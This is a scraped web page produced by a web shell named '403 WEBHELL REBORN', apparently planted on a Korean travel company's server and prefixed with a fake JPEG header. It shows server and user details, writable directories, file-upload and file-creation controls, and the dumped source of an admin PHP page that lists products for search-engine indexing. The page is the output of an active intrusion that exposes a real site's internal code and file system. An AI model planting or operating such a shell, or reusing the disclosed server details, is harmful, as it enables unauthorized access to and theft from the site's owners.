ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/development/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/development/good_seo_indexing_check.php
<?php
	include "../include/top.html";
	include "_common.php";

	$tbName = "good";

	$startDate = '2023-08-14';

	$sql = "SELECT b_uid, b_lang, tab FROM bc WHERE DelFlag = 'N'";
	$row = db_query($sql);

	$bcDataList = array();

	while($item = db_fetch_array($row)){
		$bcDataList[$item['b_uid']] = $item['b_lang'];
	}

	$sql = "SELECT g_uid, b_uid, m_uid, g_title, g_regdate, is_seo_indexing_pc, is_seo_indexing_mobile, tab, seo_first_category_url, seo_second_category_url, seo_good_url FROM {$tbName} WHERE g_regdate >= '{$startDate}' AND (is_seo_indexing_pc = 'N') AND g_ok = 'Y' ORDER BY g_uid DESC LIMIT 50";
	$row = db_query($sql);

	$data = array();

	while($item = db_fetch_array($row)){
		array_push($data,$item);
	}

?>
<style>
	.sub_top_btn{display:none}
	.contents_detail table{float:left;width:90%;background:#fff;margin-left:20px;margin-top:5px;color:#000}

    .contents_detail table th,.contents_detail table td{background:#fff;text-align:center;padding:10px 0;color:#000;border:1px solid #ccc}
    .contents_detail table th{background:#eee}
    .contents_detail table td b{color:red}
    .desktopCheckBtn, .mobileCheckBtn, .checkBtn{cursor:pointer}

    .moveProDetail{background:gray;padding:3px 5px;border-radius:2px;color:#fff}

</style>

	<div class="contents_wrap">
		<div class="contents_wrap_in">
			<div class="title">색인
				<span class="arrow">&gt;</span>
				<strong>구글 서치콘솔 색인생성 신청할 목록</strong>
			</div>
			<div class="contents_detail">
				<table cellpadding="1" cellspacing="1">
					<thead>
						<tr>
							<th style="width:50px">No</th>
							<th style="width:130px">상품등록일</th>
							<th style="width:30px">언어</th>
							<th style="width:300px">상품명</th>
							<th style="">컨텐츠 정보 링크</th>

							<th style="width:120px">색인생성 신청 여부</th>
						</tr>
					</thead>
					<tbody>
					<?php
						foreach($data as $value){
						// g_uid,g_title,g_regdate,is_seo_indexing_pc,is_seo_indexing_mobile
							if(!$bcDataList[$value['b_uid']]){
								continue;
							}
					?>
						<tr>
							<td><?=$value['g_uid']?></td>
							<td><?=$value['g_regdate']?></td>
							<td><?=$bcDataList[$value['b_uid']]?></td>
							<td style="text-align:left;padding-left:10px">
								<a href="https://www.tktravelkorea.com/toadmin/good/index.html?&search_key_s=g_title&search_word_s=<?=urlencode($value['g_title'])?>&lang=<?=$bcDataList[$value['b_uid']]?>" target="_blank">
									<?=$value['g_title']?>
                                    <br>
                                    <br>
                                    <span class="moveProDetail">상품정보 페이지</span>
								</a>
							</td>
							<td>
								<?php
								if($bcDataList[$value['b_uid']] == 'ko'){
									$url = "https://www.tourboss.co.kr";
								}else if($bcDataList[$value['b_uid']] == 'cn'){
									$url = "https://cn.tktravelkorea.com";
								}else if($bcDataList[$value['b_uid']] == 'hk'){
									$url = "https://www.tktravelkorea.com";
								}else if($bcDataList[$value['b_uid']] == 'en'){
									$url = "https://en.tktravelkorea.com";
								}

								if($value['seo_first_category_url'] && $value['seo_second_category_url'] && $value['seo_good_url']){

								?>
									<a target="_blank" style="float:left;width:100%;text-align:left;margin-left:10px" href="<?=$url.'/'.$value['seo_first_category_url'].'/'.$value['seo_second_category_url'].'/'.$value['seo_good_url']?>/"><?=$url.'/'.$value['seo_first_category_url'].'/'.$value['seo_second_category_url'].'/'.$value['seo_good_url'].'/'?></a>
								<?php
								}else{
									echo "링크없음";
								}
								?>
                            </td>
							
							<td class="desktopCheckBtn" id="checkBtnPc-<?=$value['g_uid']?>" gUid="<?=$value['g_uid']?>"><?=$value['is_seo_indexing_pc']?></td>
						</tr>
					<?php
						}
					?>
					</tbody>
				</table>
			</div>
		</div>
	</div>

	<script>
		$(window).load(function(){
            $(document).on('click', '.desktopCheckBtn', function(){
				gUid = $(this).attr('gUid');
                thisValue = $(this).text();

                console.log(gUid);
                console.log(thisValue);

                if(gUid){
                    checkYn(gUid, thisValue,'pc');
				}
			});

            $(document).on('click', '.mobileCheckBtn', function(){
                gUid = $(this).attr('gUid');
                thisValue = $(this).text();

                console.log(gUid);
                console.log(thisValue);

                if(gUid){
                    checkYn(gUid, thisValue,'mo');
                }
            });
		})


		function checkYn(gUid, thisValue,device){

            $.ajax({
				type: "post",
				url: "/toadmin/ajaxData/",
				dataType: 'json',
				data: {'mode': 'setSeoIndexing',gUid, thisValue, device},
				async: false,
				success: function (data) {
					console.log('data is ' + JSON.stringify(data));

					if (data.result == true) {

                        iziToast.show({
                            timeout:1000,
                            color: 'green',
                            title: '완료',
                            message: "값이 변경되었습니다.",
                        });

                        if(device == 'pc'){
                            $('#checkBtnPc-'+gUid).text(data.val)
						}else{
                            $('#checkBtnMo-'+gUid).text(data.val)
						}

					} else {

                        iziToast.show({
                            timeout:1000,
                            color: 'red',
                            title: '실패',
                            message: "-----",
                        });

					}
				},
				error: function (a, b, c) {
                    iziToast.show({
                        timeout:2000,
                        color: 'red',
                        title: '실패',
                        message: "값이 없습니다.",
                    });
				}
        	});

		}


	</script>




<? include "../include/footer.html" ?>

Anon7 - 2021